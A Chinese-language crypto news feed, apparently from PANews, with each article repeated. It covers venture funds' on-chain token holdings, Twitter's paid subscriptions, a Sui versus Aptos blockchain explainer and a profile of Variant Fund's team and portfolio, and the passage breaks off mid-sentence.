    作者：ThorHartvigsen, 加密KOL 编译：Felix, PANews 此前，ThorHartvigsen曾在2月份分享了8家VC的持仓情况，PANews曾制作了下图，前日，ThorHartvigsen再次更新了机构持仓数据，目前头部风投基金加起来的价值超过50亿美元，此文将盘点头部加密投资基金及其持仓的最新数据。 截至2月17日的机构持仓 Jump Crypto 链上估值：36.75亿美元 其他持仓（100万至500万美元）:JOE、AAVE、LINK、UNI。 Jump是一家做市商，通过在各交易所中提供流动性而获利。 Paradigm 链上估值：3.58亿美元 Paradigm曾经持有价值1050万美元的MKR，但似乎在今年3月16日抛售。 Paradigm是LDO最大的单一持有者，钱包里有7000万枚代币。此外据Token Terminal信息，Paradigm即将完成此前1亿美元LDO融资的代币释放，这意味着Paradigm将持有价值2.25亿美元的LDO代币（超过流通供应量的10%）。 Genesis Trading 链上估值：2.76亿美元 Genesis今年1月申请破产，可能会在未来某个时候被迫出售上述代币。 a16z 链上估值：2.41亿美元 a16z拥有超过4%的UNI供应，a16z有足够的治理权力单独拒绝提案。更全面的投资组合如下： Wintermute 链上估值：1.8亿美元 Wintermute也是一家做市商，并与Arbitrum和Optimism团队合作。早在2021年，他们的资产管理规模就超过40亿美元。 DragonFly Capital 链上估值：1.55亿美元 较小的仓位包括COMP、RNDR和MATIC。 DragonFly是Lido的主要投资者之一，但在3月和4月抛售了价值约1500万美元的LDO。该基金最近还抛售了1000万美元的MATIC和600万美元的AAVE。DragonFly还有大量的投资组合，可以在他们的网站上找到。 Blockchain Capital 链上估值：7990万美元 Blockchain Capital在4月11日出售了约510万美元的RPL，这些RPL是Blockchain Capital全部的链上头寸（于2021和2022年购买）。 Defiance Capital 链上估值：4510万美元 Defiance Capital的投资组合还包括JOE、DYDX、LayerZero、Arbitrum等，但在链上无法追踪。 Spartan Group 链上估值：2660万美元 以下是Spartan Group庞大投资组合的一部分： 以上就是全部内容了，请注意，上述只是冰山一角，因为还存在未知的钱包和非EVM链上的资产，在此并没有追踪。以上内容是运用Debank、Nansen和Arkham制作。  ( 2 min )
    速览九大风投基金链上持仓数据：ETH和LDO最受追捧
    作者：ThorHartvigsen, 加密KOL 编译：Felix, PANews 此前，ThorHartvigsen曾在2月份分享了8家VC的持仓情况，PANews曾制作了下图，前日，ThorHartvigsen再次更新了机构持仓数据，目前头部风投基金加起来的价值超过50亿美元，此文将盘点头部加密投资基金及其持仓的最新数据。 截至2月17日的机构持仓 Jump Crypto 链上估值：36.75亿美元 其他持仓（100万至500万美元）:JOE、AAVE、LINK、UNI。 Jump是一家做市商，通过在各交易所中提供流动性而获利。 Paradigm 链上估值：3.58亿美元 Paradigm曾经持有价值1050万美元的MKR，但似乎在今年3月16日抛售。 Paradigm是LDO最大的单一持有者，钱包里有7000万枚代币。此外据Token Terminal信息，Paradigm即将完成此前1亿美元LDO融资的代币释放，这意味着Paradigm将持有价值2.25亿美元的LDO代币（超过流通供应量的10%）。 Genesis Trading 链上估值：2.76亿美元 Genesis今年1月申请破产，可能会在未来某个时候被迫出售上述代币。 a16z 链上估值：2.41亿美元 a16z拥有超过4%的UNI供应，a16z有足够的治理权力单独拒绝提案。更全面的投资组合如下： Wintermute 链上估值：1.8亿美元 Wintermute也是一家做市商，并与Arbitrum和Optimism团队合作。早在2021年，他们的资产管理规模就超过40亿美元。 DragonFly Capital 链上估值：1.55亿美元 较小的仓位包括COMP、RNDR和MATIC。 DragonFly是Lido的主要投资者之一，但在3月和4月抛售了价值约1500万美元的LDO。该基金最近还抛售了1000万美元的MATIC和600万美元的AAVE。DragonFly还有大量的投资组合，可以在他们的网站上找到。 Blockchain Capital 链上估值：7990万美元 Blockchain Capital在4月11日出售了约510万美元的RPL，这些RPL是Blockchain Capital全部的链上头寸（于2021和2022年购买）。 Defiance Capital 链上估值：4510万美元 Defiance Capital的投资组合还包括JOE、DYDX、LayerZero、Arbitrum等，但在链上无法追踪。 Spartan Group 链上估值：2660万美元 以下是Spartan Group庞大投资组合的一部分： 以上就是全部内容了，请注意，上述只是冰山一角，因为还存在未知的钱包和非EVM链上的资产，在此并没有追踪。以上内容是运用Debank、Nansen和Arkham制作。  ( 2 min )
    Twitter现已上线付费订阅功能，前12个月内不抽成
    PANews 4月23日消息，据推特用户@BroLeonAus的推文截图，Twitter现已上线付费订阅功能，即用户在付费订阅创作者后，可查看创作者发布的付费内容后；在订阅后，用户将会获得一枚公开的订阅徽章。据悉，该付费订阅制度已于4月20日实施。 据4月13日路透社报道，马斯克宣布推特将向用户开放付费订阅功能，付费对象包括长文本和长视频等。在服务上线最初的12个月中，内容发布者将获得除去移动平台费用（iOS或安卓商店抽成30%）之外的全部订阅收入，推特不会从中截留任何一分钱，网页版则能让创作者拿到92%的收入。但谷歌拒绝了马斯克的说法，并表示已将Google Play上所有订阅的服务费从2022年的30%下调至15%。 此前4月21日消息，推特开始取消不付费账号蓝标认证，多位加密KOL和创始人账号受影响。  ( 1 min )
    Twitter现已上线付费订阅功能，前12个月内不抽成
    PANews 4月23日消息，据推特用户@BroLeonAus的推文截图，Twitter现已上线付费订阅功能，即用户在付费订阅创作者后，可查看创作者发布的付费内容后；在订阅后，用户将会获得一枚公开的订阅徽章。据悉，该付费订阅制度已于4月20日实施。 据4月13日路透社报道，马斯克宣布推特将向用户开放付费订阅功能，付费对象包括长文本和长视频等。在服务上线最初的12个月中，内容发布者将获得除去移动平台费用（iOS或安卓商店抽成30%）之外的全部订阅收入，推特不会从中截留任何一分钱，网页版则能让创作者拿到92%的收入。但谷歌拒绝了马斯克的说法，并表示已将Google Play上所有订阅的服务费从2022年的30%下调至15%。 此前4月21日消息，推特开始取消不付费账号蓝标认证，多位加密KOL和创始人账号受影响。  ( 1 min )
    一文了解新公链SUI背景、特性和与Aptos异同之处
    作者：Fred 万物研究院 推特：@Dacongfred 随着Sui宣布在第二季度要发布主网，本文为大家对其背景、特性和与Aptos相比的优劣势进行分析，Sui是一条基于Move语言的Layer1的新公链，区别于传统的顺序执行，Sui其最大的亮点在于实现了并行交易执行，从而导致了更小的延迟和更高的吞吐量。 首先介绍一下Sui的创始团队，与Aptos一样，创始团队的核心成员都是从Meta的Diem项目中出来的。Sui由一群曾在 Novi Research（Meta的高级加密研发团队）工作的研究人员创立，后来4人离开Meta成立Mysten Labs，开始Sui的搭建工作。 CEO是Evan Cheng，曾经负责 Meta 加密钱包的研发工作，Sam Blackshear为CTO， Adeniyi Abiodun为COO，George Danezis为首席科学家。在创办Sui时，他们有三年的区块链项目经历，包括Diem区块链（Meta搭建的去中心化支付系统）、新颖的高性能共识/执行策略以及 Move 编程语言开发的经历。 强大的创始团队光环也给Sui带来了非常雄厚的VC投资，2021年12月，完成了3600万美元A轮融资，由 a16z 领投，Coinbase Ventures等参投。2022年9月，3亿美元B轮融资，投资方包括FTX Ventures，a16z crypto, Jump Crypto, Binance Labs, Coinbase Ventures等，基本上都是顶级VC的身影。 在这么备受关注的背景下，Sui究竟有哪些核心优势呢？通过阅读白皮书和调研发现，核心优势主要可以总结为以下3点： 这里涉及到2个对比条件：Move和Solidity，以及Sui Move和Move的差别。 首先是Move和Solidity，Solidity是目前主流的EVM的编程语言，而EVM和Move最大的一个区别就是资产的数据模型：EVM 资产被编码为owner_address -> 哈希映射中的条目。资产更新和传输通过更新此映射中的条目来工作。没有代表资产的类型或值，因此资产不能作为参数传递、从函数返回或存储在另一个资产中。 Solidity语言只能将资产作为数值在钱包地址加减完成转移，容易产生漏洞；而Move语言把所有自定义资产都视为一个资源，且资源不能复制或者删除。资产可以作为参数传递，从函数返回，并存储在其他资产中，通过资产移动来改变所有权，更加安全 接下来是Sui Move和Move的对比，Sui没有直接用Move，而是在Move的语言上进行了修改。核心差异点总结来说就是存储方面，资源没有存在MOVE全局存储中，而是存储在Sui链上；且对对象赋予了全局唯一ID，包含id和版本序号。从而增强了Move的安全性和灵活性，极大地提高了吞吐量，减少了最终延迟。 Sui区分了简单交易和复杂交易，对于只需要更新资金的所有者的简单交易，如资金转账、NFT铸造等，采取了跳过共识的方式，基于拜占庭广播，从而提高速度和效率；而复杂交易则通过2次共识Narwhal和Bullshark完成交易。 让我们简单了解下是如何进行拜占庭广播的，总共分为5个步骤： 1)用户将交易发送到仲裁驱动程序，例如全节点，该驱动程序将交易广播到一组验证器。 2)每个 Sui 验证者对交易执行有效性检查并为有效交易添加签名。每个签名的权重都与验证者的抵押金额成正比。 3)仲裁驱动程序将合并权重大于或等于总权益（quorum of stake）的 2/3 的签名收集到证书中，并将其广播给所有 Sui 验证者。 4)当验证器收到证书时，验证器会验证证书。如果有效，则验证器执行嵌入式事务并将已签名的事务效果返回给仲裁驱动程序。在一定数量验证者接收并执行后，实现最终交易。 5)仲裁驱动程序可以根据前面的步骤收集一个效果证书，并将其返回给发送者作为最终证明。（这一条不强制） 不得不提的就是Sui的共识机制了，Sui是由基于DAG的拜占庭容错Narwhal和Bullshark（Tusk）实现DPoS，该共识设计使Sui可以并行处理交易，快速达成共识。 传统区块链的顺序是线性的，必须一个一个完成交易；而DAG上各自处理各自的交易，是一种平行处理信息的模式。之前在分析conflux的时候也和大家提过DAG。由于无需等待，便实现了处理速度的大幅增加。 但如果并行处理信息，如何确定共识呢？Sui采用的是Narwhal与Bullshark结合的方式，这种结合主要是为了解决传统拜占庭容错共识中网络算力被浪费的困境。 因为在传统的拜占庭容错共识中，随机产生领导节点，由领导节点提议并发起广播，然后收集投票到证明中，再将证明广播出去，其工作量远远大于只需要投票的其他节点。然而由于领导节点是随机产生的，所以所有节点都要储存算力来满足领导节点工作的算力要求，从而导致了算力浪费。 而Sui将数据传播和共识分开由Narwhal和Bullshark分别进行，从而节省了算力。Narwhal和Bullshark的技术细节分享起来有些复杂，如果感兴趣的小伙伴多的话，之后有机会再与大家分享。简单理解的话，Narwhal进行数据传播，Bullshark进行共识确认。 了解了Sui之后，让我们一起来对比一下Sui和它“宿敌”Aptos： 1.从语言的角度 Sui Move是以对象为中心的模型，Sui上的资产、智能合约、NFT等交易是改变该资源的所属者，只需更新一次数据，更加安全；而Aptos使用的Move以地址为中心模型，资产的转换需修改发送和接受地址上的数据，要更新两次数据。另外从开发者友好的角度来说，Sui move相对更好用。 2. 从共识层面 Sui和Aptos都是并行处理。其中基于DAG的Sui使用Narwhal和Bullshark，因果顺序的共识可以快速决定大部分交易的共识；Aptos则是将验证的每个步骤独立分开和并行运行，整个Aptos的共识流程更贴近传统区块链架构。 3.生态布局方面 Aptos的生态起步更早，在市场营销和造势方面也显著的快于Sui，在生态布局上占据了领先的位置，不过其早期出现的大量项目rug的现象，也给很多人打下了疑问。Sui的生态起步较晚，未来生态发展，还处于蓄势待发的状态。 虽然上面说了Sui的很多闪光点，但其也存在一些缺点，首先Sui需要同时应用拜占庭一致性广播来管理简单交易和共识协议来处理共享对象的交易，导致Sui 开发人员不得不保留相当大的代码库。 此外，Sui 专有的编程语言 Move 是非常新的，目前能够帮助增强和丰富 Sui 生态系统的专业 Move，开发人员相对较少，如何吸引开发者从solidity到move，是一个难关。 总结来说，Layer1赛道长期来看是一超多强的局面，在以太坊没能吃下的特定细分领域还有Layer1的战场，尤其是在solana陨落之后资本急需新的Layer1故事。 而Sui团队从技术优势出发，相比Aptos在营销方面发力，选择在语言和共识方面稳扎稳打，相信会在Defi和游戏等复杂交易领域占据一席之地，期待Sui主网的上线带来新的波澜。  ( 2 min )
    一文了解新公链SUI背景、特性和与Aptos异同之处
    作者：Fred 万物研究院 推特：@Dacongfred 随着Sui宣布在第二季度要发布主网，本文为大家对其背景、特性和与Aptos相比的优劣势进行分析，Sui是一条基于Move语言的Layer1的新公链，区别于传统的顺序执行，Sui其最大的亮点在于实现了并行交易执行，从而导致了更小的延迟和更高的吞吐量。 首先介绍一下Sui的创始团队，与Aptos一样，创始团队的核心成员都是从Meta的Diem项目中出来的。Sui由一群曾在 Novi Research（Meta的高级加密研发团队）工作的研究人员创立，后来4人离开Meta成立Mysten Labs，开始Sui的搭建工作。 CEO是Evan Cheng，曾经负责 Meta 加密钱包的研发工作，Sam Blackshear为CTO， Adeniyi Abiodun为COO，George Danezis为首席科学家。在创办Sui时，他们有三年的区块链项目经历，包括Diem区块链（Meta搭建的去中心化支付系统）、新颖的高性能共识/执行策略以及 Move 编程语言开发的经历。 强大的创始团队光环也给Sui带来了非常雄厚的VC投资，2021年12月，完成了3600万美元A轮融资，由 a16z 领投，Coinbase Ventures等参投。2022年9月，3亿美元B轮融资，投资方包括FTX Ventures，a16z crypto, Jump Crypto, Binance Labs, Coinbase Ventures等，基本上都是顶级VC的身影。 在这么备受关注的背景下，Sui究竟有哪些核心优势呢？通过阅读白皮书和调研发现，核心优势主要可以总结为以下3点： 这里涉及到2个对比条件：Move和Solidity，以及Sui Move和Move的差别。 首先是Move和Solidity，Solidity是目前主流的EVM的编程语言，而EVM和Move最大的一个区别就是资产的数据模型：EVM 资产被编码为owner_address -> 哈希映射中的条目。资产更新和传输通过更新此映射中的条目来工作。没有代表资产的类型或值，因此资产不能作为参数传递、从函数返回或存储在另一个资产中。 Solidity语言只能将资产作为数值在钱包地址加减完成转移，容易产生漏洞；而Move语言把所有自定义资产都视为一个资源，且资源不能复制或者删除。资产可以作为参数传递，从函数返回，并存储在其他资产中，通过资产移动来改变所有权，更加安全 接下来是Sui Move和Move的对比，Sui没有直接用Move，而是在Move的语言上进行了修改。核心差异点总结来说就是存储方面，资源没有存在MOVE全局存储中，而是存储在Sui链上；且对对象赋予了全局唯一ID，包含id和版本序号。从而增强了Move的安全性和灵活性，极大地提高了吞吐量，减少了最终延迟。 Sui区分了简单交易和复杂交易，对于只需要更新资金的所有者的简单交易，如资金转账、NFT铸造等，采取了跳过共识的方式，基于拜占庭广播，从而提高速度和效率；而复杂交易则通过2次共识Narwhal和Bullshark完成交易。 让我们简单了解下是如何进行拜占庭广播的，总共分为5个步骤： 1)用户将交易发送到仲裁驱动程序，例如全节点，该驱动程序将交易广播到一组验证器。 2)每个 Sui 验证者对交易执行有效性检查并为有效交易添加签名。每个签名的权重都与验证者的抵押金额成正比。 3)仲裁驱动程序将合并权重大于或等于总权益（quorum of stake）的 2/3 的签名收集到证书中，并将其广播给所有 Sui 验证者。 4)当验证器收到证书时，验证器会验证证书。如果有效，则验证器执行嵌入式事务并将已签名的事务效果返回给仲裁驱动程序。在一定数量验证者接收并执行后，实现最终交易。 5)仲裁驱动程序可以根据前面的步骤收集一个效果证书，并将其返回给发送者作为最终证明。（这一条不强制） 不得不提的就是Sui的共识机制了，Sui是由基于DAG的拜占庭容错Narwhal和Bullshark（Tusk）实现DPoS，该共识设计使Sui可以并行处理交易，快速达成共识。 传统区块链的顺序是线性的，必须一个一个完成交易；而DAG上各自处理各自的交易，是一种平行处理信息的模式。之前在分析conflux的时候也和大家提过DAG。由于无需等待，便实现了处理速度的大幅增加。 但如果并行处理信息，如何确定共识呢？Sui采用的是Narwhal与Bullshark结合的方式，这种结合主要是为了解决传统拜占庭容错共识中网络算力被浪费的困境。 因为在传统的拜占庭容错共识中，随机产生领导节点，由领导节点提议并发起广播，然后收集投票到证明中，再将证明广播出去，其工作量远远大于只需要投票的其他节点。然而由于领导节点是随机产生的，所以所有节点都要储存算力来满足领导节点工作的算力要求，从而导致了算力浪费。 而Sui将数据传播和共识分开由Narwhal和Bullshark分别进行，从而节省了算力。Narwhal和Bullshark的技术细节分享起来有些复杂，如果感兴趣的小伙伴多的话，之后有机会再与大家分享。简单理解的话，Narwhal进行数据传播，Bullshark进行共识确认。 了解了Sui之后，让我们一起来对比一下Sui和它“宿敌”Aptos： 1.从语言的角度 Sui Move是以对象为中心的模型，Sui上的资产、智能合约、NFT等交易是改变该资源的所属者，只需更新一次数据，更加安全；而Aptos使用的Move以地址为中心模型，资产的转换需修改发送和接受地址上的数据，要更新两次数据。另外从开发者友好的角度来说，Sui move相对更好用。 2. 从共识层面 Sui和Aptos都是并行处理。其中基于DAG的Sui使用Narwhal和Bullshark，因果顺序的共识可以快速决定大部分交易的共识；Aptos则是将验证的每个步骤独立分开和并行运行，整个Aptos的共识流程更贴近传统区块链架构。 3.生态布局方面 Aptos的生态起步更早，在市场营销和造势方面也显著的快于Sui，在生态布局上占据了领先的位置，不过其早期出现的大量项目rug的现象，也给很多人打下了疑问。Sui的生态起步较晚，未来生态发展，还处于蓄势待发的状态。 虽然上面说了Sui的很多闪光点，但其也存在一些缺点，首先Sui需要同时应用拜占庭一致性广播来管理简单交易和共识协议来处理共享对象的交易，导致Sui 开发人员不得不保留相当大的代码库。 此外，Sui 专有的编程语言 Move 是非常新的，目前能够帮助增强和丰富 Sui 生态系统的专业 Move，开发人员相对较少，如何吸引开发者从solidity到move，是一个难关。 总结来说，Layer1赛道长期来看是一超多强的局面，在以太坊没能吃下的特定细分领域还有Layer1的战场，尤其是在solana陨落之后资本急需新的Layer1故事。 而Sui团队从技术优势出发，相比Aptos在营销方面发力，选择在语言和共识方面稳扎稳打，相信会在Defi和游戏等复杂交易领域占据一席之地，期待Sui主网的上线带来新的波澜。  ( 2 min )
    解码Variant Fund：常与a16z同屏出现的新锐投资机构
    去年7月，在加密市场彻底进入寒冬之时，一家成立不足3年的加密风投机构宣布新推出一只资金规模高达4.5亿美元的基金，而这已是它在2020年成立后推出的第三只基金——从首次亮相时公布2250万美元基金，到次年10月推出1.1亿美元的早期基金，这家名为Variant Fund的风投机构已连续3年推出加密基金，且每次规模都为上一只基金的4倍有余。 翻看Variant Fund投资的项目，会发现它在推出Variant Fund III之前，已经在早期阶段投资了以隐私为中心的智能合约平台 Aztec Network、基于以太坊的 DeFi 协议 Euler Finance、Polygon和 Uniswap等行业知名项目。此外，值得注意的是，其投资组合中的半数以上项目，都得到了加密行业顶级风投机构a16z（Andreessen Horowitz）的投资。那么，Variant Fund是何来历？它在加密领域还做了哪些投资？本文PANews将对这家新锐风投进行简要介绍。 Variant的三位联合创始人中有两位出自a16z（Andreessen Horowitz），且其核心团队普遍在加密行业有着较为丰厚的经验。这也是该机构对行业有比较深刻认知，并能够经常参与到知名项目中早期融资的重要原因。 联合创始人兼普通合伙人Jesse Walden是a16z的第一个加密基金的投资合伙人，后来还领导过a16z crypto发起的为期十二周的加速器“a16z Crypto Startup School”。在成为投资者之前，Jesse也是连续创业者，其分别于2011年和2014年成立了艺人管理公司Cool Managers和跟踪链上数字媒体资产所有权的Mediachain Labs，后者在2017年被流媒体音乐服务平台Spotify收购后，Jesse还曾作为产品负责人领导区块链相关研发。据了解，Variant对Uniswap、Phantom、Mirror、Flashbots、Foundation等项目的投资均由Jesse领导。 2018年，还在a16z的Jesse在加密投资团队工作，Variant的另一联创Li Jin则属于消费投资团队，两人除了在互联网创作者和在线平台方面并无太多交集。2020年夏天，Li离开a16z，创立了一家致力于激情经济的Atelier Ventures，并投资了游戏工会Yield Guild Games、DAO 平台 Syndicate等加密项目。随着对加密技术的了解日趋深入，Li渐渐认识到，在加密货币的支持下，所有权经济或许是人们能够实现激情经济和更广泛的消费技术的方式。2021年10月，基于消费软件的未来在加密的信念，Atelier和Variant正式合并，联手投资能让用户享有和运营的应用软件。工作之余，Li还是一名内容创作者，喜欢撰写博客，并因此颇具名气。 2020年底，现任联合创始人兼普通合伙人Spencer Noon宣布加入Variant。他在加密行业的创业生涯于2014年开始，是年成立了比特币ATM公司 BTCity。4年后，他创立加密货币基金DTC Capital。此外，他还是链上分析社区Our Network的作者，其以数据驱动的方式每周发布时事通讯，对行业的热点项目进行报道。而在进入加密行业之前，Spencer曾是在线票务平台SeatGeek的早期员工，并做过瑞银集团(UBS)的投资管理分析师。在Variant，Spencer领导了公司对 Morpho、Polygon、Canto、Turnkey、Perennial 等项目投资。 首席营销官Nina Suthers曾是a16z的营销合作伙伴，她会为Variant投资组合中的项目提供营销策略方面的建议。在 a16z 工作之前，Nina是OutCast Agency的客户总监，这家公关公司主要从事通信、创意和数字营销的业务。Dan Roberts从2011 年以来，一直在撰写加密相关的文章。在加入Variant并担任主编之前，他曾是加密新闻网站Decrypt的主编，领导编辑团队制定该网站的新闻策略，并策划和主持现场活动。 Variant Fund的投资赛道与关注方向 2022年8月，Variant宣布推出Variant Fund III，包括一个 3 亿美元的机会基金和专注投资早期创业项目的1.5 亿美元的种子基金。为了支持这项工作，Variant将其规模扩大了一倍，让团队扩大到拥有15名在DeFi、消费者和基础设施方面具有深厚专业知识的专业人员，并建立投资组合支持功能，以提供有关上市、代币设计、社区建设等方面的指导。 Variant认为加密货币将成为用户拥有的网络的基础，在该网络中，产品和服务会将其用户转变为所有者。其所配置的投资团队专业人员的重点研究方向，另一方面也表明了他们在加密行业关注的垂直细分领域。 Variant看重DeFi对金融赋能的潜力，其在赛道的重点方向具体包括： 市场 优先考虑安全、风险管理和主流消费者采用的稳定币 利用可组合性创建全新功能的金融原语，例如贷款优化器和 DEX 聚合器 连接传统金融系统与 DeFi 的金融产品，让新用户和机构跨越鸿沟 在基础设施与工具方面则是： Variant认为Web3 有可能以全新的方式满足用户需求，并相信web3应用程序将成为主流，其在这一领域重点聚焦： 解决各资本形态不同问题的项目，从投资到创意项目再到社会影响等 为实验赋能，使其治理更易于访问、参与和高效的工具 代币与NFT的新所有权形式重新定义了用户体验，这为新产品的功能和体验创造了设计空间。在这一方面，Variant关注方向为： 今年6月到8月，Variant将面向处于创业初期的Web3创始人，推出首届加速器计划“Variant Founder Fellowship”，选出 20 名创始人或团队，为他们在早期阶段提供支持。 据Variant官网介绍，其团队已经先后支持了数十个行业内的头部项目，这些项目如今已构成了他们的Variant Network，即一个由其投资组合中的创始人和领导者组成的、能让他们共同构建和学习的专业社区。Variant认为，基于网络的同伴学习模式，是最有效的一种阐释Web3在构建过程中出现的“优秀范例”的方式。在像加密这样的新兴和快速发展的行业中，领域内专家往往是处于创新前沿的建设者。到目前为止，Variant Network已有效促进了其在产品设计、代币策略、监管问题等主题上的学习。 建立在这种网络学习模型的基础上，Variant Founder Fellowship旨在通过邀请一批新兴创始人与Variant的投资组合的创始人一起构建与学习，来共同促进加密货币领域的更多创新。而将应对类似挑战的创业者彼此联系起来，会是支持加密初创项目团队的最佳方式之一。 虽然时下创业加速器项目已是五花八门，但很少有机构会针对加密领域创始人的不同需求去量身定制，这些不同类型项目，其“成功策略”也不尽相同。在Web3 中，诸如在社区建设、商业模式、代币分配等主题要素上，初创项目就无需遵循Web2的传统专业知识。基于此，Variant试图通过其加速器计划，有效利用其投资组合中如Uniswap、Flashbots、Foundation等项目的专家团队，为Web3创业者提供资源、经验和实践指导。 根据Variant官网介绍，Variant现已投资54个加密项目，基本均匀地分布在基础设施、DeFi、NFT等领域，其中不乏Aptos、Polygon、zkSync、Uniswap和Magic Eden等多个垂直领域的知名项目。以下将按照PANews《融资周报》专栏的分类方式，对这些项目归类，进行简要介绍并列出相关融资信息。（注：根据公开披露消息，在以下各领域投资组合的汇总列表中，所有项目Variant均参与过投资，但其仅在作为领投方或只参与项目多轮融资中的其中一轮时才会列出。） DeFi Aleo：数据隐私平台，其新计算系统 Zexe 通过链上验证帮助进行链下计算，以实现可扩展性和隐私性。2021年4月，完成2800万美元A轮融资，a16z领投，Galaxy Digital、 Variant等参投；2022年2月，完成由SoftBank和Kora Management领投的2亿美元B轮融资。 Aptos：layer 1公链项目，其主网于2022年10月上线。2022年3月，完成 2 亿美元的种子轮融资，a16z、Variant等参投。 Aztec Network：基于ZK Rollup的隐私和扩容解决方案，2021年12月，完成1700万美元A轮融资Paradigm领投，Variant、Vitalik Buterin等参投；2022年12月，完成由a16z领投的1亿美元B轮融资。 Matter Labs：以太坊扩展协议 zkSync 的母公司。2021年11月，完成5000万美元B轮融资，a16z领投；2022年12月，完成 2 亿美元C 轮融资。Blockchain Capital和Dragonfly领投，Variant和a16z参投。 Polygon：以太坊扩容解决方案。2022年2月，完成4.5亿美元融资，Sequoia india、Tiger Global、Variant等参投。 Scroll：以太坊原生 zkEVM 第 2 层解决方案。2023年3月，完成5000万美元融资，Polychain Capital、Sequoia China、Variant等参投。 Burrata：专注于合规的加密初创公司，旨在通过创建必要的工具和基础设施，在不建立 PII 服务器的情况下检查其所有合规性。2021年12月，完成775万美元融资，Stripe、Variant等参投。 Ceramic：去中心化网络存储协议。2022年2月，完成3000万美元A轮融资，由Multicoin Capital和Union Square Ventures领投，Variant、Jump Crypto等参投。 DIMO：一个基于区块链的汽车平台，让司机可通过共享车辆数据以换取代币。2022年2月，完成 900 万美元的种子轮融资，CoinFund、Variant等参投。 Entropy：去中心化和无需信任的托管解决方案。2022年6月，完成2500 万美元的种子轮融资，Dragonfly Capital、Variant等参投。 Flashbots：以太坊研究和开发公司，旨在为MEV提取实现一个无需许可、透明和公平的生态系统。据 The Block报道，其计划筹集 3000 万至 5000 万美元，而Paradigm已承诺牵头投资，Variant也是其投资者，融资细节尚未披露。 Hyperlane：跨链应用构建平台。2022年9月，完成1850万美元融资，Variant领投，Galaxy Digital、CoinFund等参投。 Turnkey：私钥管理和安全保护的解决方案。2023年3月，完成750万美元的种子轮融资，Sequoia、Variant等参投。 Worldcoin：OpenAI首席执行官Sam Altman创立的加密公司。2021年6月，完成2500万美元融资，a16z参投。据The Block报道，Worldcoin计划以30亿美元估值融资至多1.2亿美元。 Boardroom：治理和管理平台，旨在改进跨加密网络的分布式决策。2020年10月，完成220万美元融资，Standard Crypto领投，Variant、CoinFund、Framework和Slow Ventures参投。 Phantom：Solana生态加密钱包。2022年2月，以12亿美元估值完成了1.09亿美元B轮融资，Paradigm领投，a16z、Variant等参投。 NFT FingerprintsDAO：收藏家组织，致力于策划、收集使用智能合约创作的艺术品，并生成对应的区块链指纹。2021年9月宣布完成融资，金额暂未披露，参投方包括a16z、Variant等。 Braintrust：Web3人才招聘平台。2020年10月，完成1800万美元融资，ACME和Blockchange领投，Variant等参投。2021年12月，其通过出售私人代币融资1亿美元，本轮融资由Coatue领投，Tiger Global等参投。 Coordinape：让DAO轻松、公平地向贡献者分配资源的平台。它允许其 DAO 成员相互奖励，并通过激励参与使社区支付更加公平和透明。 Friends with Benefits：一种新型DAO和社交俱乐部。2021年10月，a16z宣布对其进行投资并提供指导，金额未公布，Variant也是其投资者。 IndiGG：游戏公会YGG旗下的印度subDAO。2022年1月，完成600万美元种子轮融资，Sequoia India、Jump Capital和Variant等参投。 Mirror：去中心化内容发布平台，支持文章内容中嵌入并展示PFP、艺术和音乐类型的NFT。是Variant官方公布的投资组合，但并未找到具体融资信息。 PleasrDAO：围绕加密艺术品收藏的去中心化自治组织。2021年12月，其得到了a16z投资，它也是Variant官方公布的投资组合，但具体金额均未透露；2022年1月，The Block报道称其计划筹集6900万美元； Shibuya：数字艺术家 Emily Yang推出的 Web3 视频平台 。2022年12月，完成690万美元融资，a16z Crypto和Variant 领投，蔡崇信等参投。 Syndicate：去中心化投资平台。2021年8月，完成由a16z领投的2000万美元A轮融资，Variant参投；2022年5月，完成600万美元融资，a16z、OpenSea等参投。 Koop：专注于创造者经济的 Web3 协议。2022年8月，完成500万美元融资，1confirmation 和 Variant Fund领投。  ( 5 min )
    解码Variant Fund：常与a16z同屏出现的新锐投资机构
    去年7月，在加密市场彻底进入寒冬之时，一家成立不足3年的加密风投机构宣布新推出一只资金规模高达4.5亿美元的基金，而这已是它在2020年成立后推出的第三只基金——从首次亮相时公布2250万美元基金，到次年10月推出1.1亿美元的早期基金，这家名为Variant Fund的风投机构已连续3年推出加密基金，且每次规模都为上一只基金的4倍有余。 翻看Variant Fund投资的项目，会发现它在推出Variant Fund III之前，已经在早期阶段投资了以隐私为中心的智能合约平台 Aztec Network、基于以太坊的 DeFi 协议 Euler Finance、Polygon和 Uniswap等行业知名项目。此外，值得注意的是，其投资组合中的半数以上项目，都得到了加密行业顶级风投机构a16z（Andreessen Horowitz）的投资。那么，Variant Fund是何来历？它在加密领域还做了哪些投资？本文PANews将对这家新锐风投进行简要介绍。 Variant的三位联合创始人中有两位出自a16z（Andreessen Horowitz），且其核心团队普遍在加密行业有着较为丰厚的经验。这也是该机构对行业有比较深刻认知，并能够经常参与到知名项目中早期融资的重要原因。 联合创始人兼普通合伙人Jesse Walden是a16z的第一个加密基金的投资合伙人，后来还领导过a16z crypto发起的为期十二周的加速器“a16z Crypto Startup School”。在成为投资者之前，Jesse也是连续创业者，其分别于2011年和2014年成立了艺人管理公司Cool Managers和跟踪链上数字媒体资产所有权的Mediachain Labs，后者在2017年被流媒体音乐服务平台Spotify收购后，Jesse还曾作为产品负责人领导区块链相关研发。据了解，Variant对Uniswap、Phantom、Mirror、Flashbots、Foundation等项目的投资均由Jesse领导。 2018年，还在a16z的Jesse在加密投资团队工作，Variant的另一联创Li Jin则属于消费投资团队，两人除了在互联网创作者和在线平台方面并无太多交集。2020年夏天，Li离开a16z，创立了一家致力于激情经济的Atelier Ventures，并投资了游戏工会Yield Guild Games、DAO 平台 Syndicate等加密项目。随着对加密技术的了解日趋深入，Li渐渐认识到，在加密货币的支持下，所有权经济或许是人们能够实现激情经济和更广泛的消费技术的方式。2021年10月，基于消费软件的未来在加密的信念，Atelier和Variant正式合并，联手投资能让用户享有和运营的应用软件。工作之余，Li还是一名内容创作者，喜欢撰写博客，并因此颇具名气。 2020年底，现任联合创始人兼普通合伙人Spencer Noon宣布加入Variant。他在加密行业的创业生涯于2014年开始，是年成立了比特币ATM公司 BTCity。4年后，他创立加密货币基金DTC Capital。此外，他还是链上分析社区Our Network的作者，其以数据驱动的方式每周发布时事通讯，对行业的热点项目进行报道。而在进入加密行业之前，Spencer曾是在线票务平台SeatGeek的早期员工，并做过瑞银集团(UBS)的投资管理分析师。在Variant，Spencer领导了公司对 Morpho、Polygon、Canto、Turnkey、Perennial 等项目投资。 首席营销官Nina Suthers曾是a16z的营销合作伙伴，她会为Variant投资组合中的项目提供营销策略方面的建议。在 a16z 